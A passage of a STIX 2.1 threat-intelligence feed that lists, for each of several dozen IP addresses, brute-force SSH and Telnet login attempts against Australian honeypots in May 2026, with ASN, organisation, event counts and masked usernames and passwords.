      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--4f875b36-2c3b-4e1a-8dfe-0a9eca09859a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.243.6.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 202520. Organisation(s): SkyPass Solutions Sp. z.o.o.. Usernames observed (masked): r**t, a***n, d****y, ***, u****u. Passwords observed (masked): 1****6, ***, p******d, *, 1******8.",
      "id": "indicator--ddf6fa4c-7c88-4d72-a735-e7d27d7536c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.168.110.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 29244. Organisation(s): CETIN Bulgaria EAD.",
      "id": "indicator--078ffbe9-faca-4d3c-a6dc-3a9d6bab0645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.156.141.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 216300. Organisation(s): Closed Joint Stock Company AbkhazMedia. Usernames observed (masked): ***, r**t. Passwords observed (masked): Q******3, a******5.",
      "id": "indicator--7285cdfc-3798-4491-a48a-d2cbb007e4b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.159.112.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--671bcb33-b8da-4599-b015-f994e79c2cc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.37.220.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8d8470ef-5b51-43a8-aebe-6791c86dfffb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.204.1.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2a22df71-ce90-4a0d-9857-33a62ffb9fab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.112.74.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 198479. Organisation(s): Nunsys SA. Usernames observed (masked): r**t, a***n, 3**********4, v****r. Passwords observed (masked): !******z, 1****2, ***, 3***********4, 3**********4.",
      "id": "indicator--d186c170-ab7f-4f05-92a0-c5b23de03116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.9.193.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, **. Passwords observed (masked): ***, 1**********#, ***.",
      "id": "indicator--2621e0a5-f16c-4394-97af-112545d1ddc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.187.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--fad10b5d-2103-4e88-b106-502ea4ccef47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a******h, u****u, v****r. Passwords observed (masked): !******z, ***, 1********@, 2**3, 3***********4.",
      "id": "indicator--0d1e9eb7-fd64-421b-9ca5-07f306785143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.32.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): f****n, 3**********4, a******h, a***n, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******6, a******h.",
      "id": "indicator--439f5406-d18a-4627-8f26-828da114dfde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.132.227.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T09:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): 3**********4, *, d****n, d******r, e****n. Passwords observed (masked): ***, 1****6, 1**********E, 3**********4, *.",
      "id": "indicator--324075ff-1f9c-48d1-be1f-59acd3aace6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T09:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.160.212.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:15:38.000Z",
      "valid_until": "2026-07-01T09:15:03.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, 3**********4, u***1, a******k, c****m. Passwords observed (masked): 1****6, 3***********4, 3**********4, @*******5, A*******4.",
      "id": "indicator--c397393b-ca6f-4525-b979-2463355a96b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.251.233.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, r*****e, 3**********4, a***********r, ***. Passwords observed (masked): 1**4, 1*******b, 1*********3, 3***********4, 3**********4.",
      "id": "indicator--d7091c15-9756-4fc5-8361-119083ecb1e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.224.168.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--097f01e7-bfeb-4514-9316-c5528b7603c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.137.198.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): P**********3.",
      "id": "indicator--76fea263-306f-4c9f-9b5c-528ae83fda62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.225.56.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--b6e77935-fe41-4da6-97f6-f7f5fd89c3be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.162.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--5b3ed9cf-9478-47d5-97c8-216b5202362e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.32.113.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:15:11.000Z",
      "valid_until": "2026-07-01T10:15:08.000Z"
    },
    {
      "created": "2026-05-30T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 34150. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--25152c2b-2425-4dff-aa0b-b2b585c2c752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.78.30.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:15:05.000Z",
      "valid_until": "2026-07-01T11:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135761. Organisation(s): Userlinks Netcom Pvt. Ltd..",
      "id": "indicator--c1aad864-ceae-4c20-90ca-24f059b09bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.160.197.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 283. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, z******n, c**t, h**i. Passwords observed (masked): 3***********4, 3**********4, *, 1****3, 1**6.",
      "id": "indicator--83328c2e-00a3-406d-8f49-56c4be4ad555",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.6.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, e**c. Passwords observed (masked): 1**********E, 1**********c, Q*********!, e**c.",
      "id": "indicator--8e0542b4-82df-43c8-8bd6-d38287d8a23d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.184.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4, h**i, i**o, s******n. Passwords observed (masked): 3***********4, 3**********4, 1****3, 1**6, ***.",
      "id": "indicator--8ad2f87f-4d60-4b68-a52b-c1b60055ea0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.255.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 35807. Organisation(s): SkyNet Ltd..",
      "id": "indicator--2e6a70ce-99c9-4e33-81d2-05d33613a9f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.243.7.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, v****s, b*****n, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******A.",
      "id": "indicator--8b95b9f0-1572-47ce-931e-2b9c2d957ab0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.228.128.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--4ec87d57-edd7-4619-a4ae-60a980d4b745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4, g*****e, o*******r, u**r. Passwords observed (masked): 3***********4, 3**********4, A*********8, A*********1, P*******4.",
      "id": "indicator--b025e05e-243c-443f-9e6c-bbf705fe47c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.233.83.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 62468. Organisation(s): VpsQuan L.L.C.. Usernames observed (masked): r**t, 3**********4, z******n, c**t, e***********h. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****3.",
      "id": "indicator--57c62b15-edf0-450d-949d-fa7aeb6a02c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.251.34.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, a**y, c***a, t***e. Passwords observed (masked): !******2, 1**4, 3***********4, 3**********4, @*******3.",
      "id": "indicator--9e73b4ad-3967-486d-b989-212c850a96bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--20e48f18-40cf-4079-9636-91f31bdf7249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:15:13.000Z",
      "valid_until": "2026-07-01T12:15:03.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--6ced2f04-bbd4-4919-b20f-0789fbf47a95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.45.50.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t******r, 3**********4, a******n, d****s. Passwords observed (masked): !*******e, #******v, *, 1*********t, 3***********4.",
      "id": "indicator--f27bd1e2-3555-4a68-b7ed-2e1cd1d3f625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.113.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, b********r, 3**********4, a***n, f****e. Passwords observed (masked): !**********E, ***, 3***********4, 3**********4, A******5.",
      "id": "indicator--a2f4a37a-f2b0-4310-89ba-693972755e6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.237.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
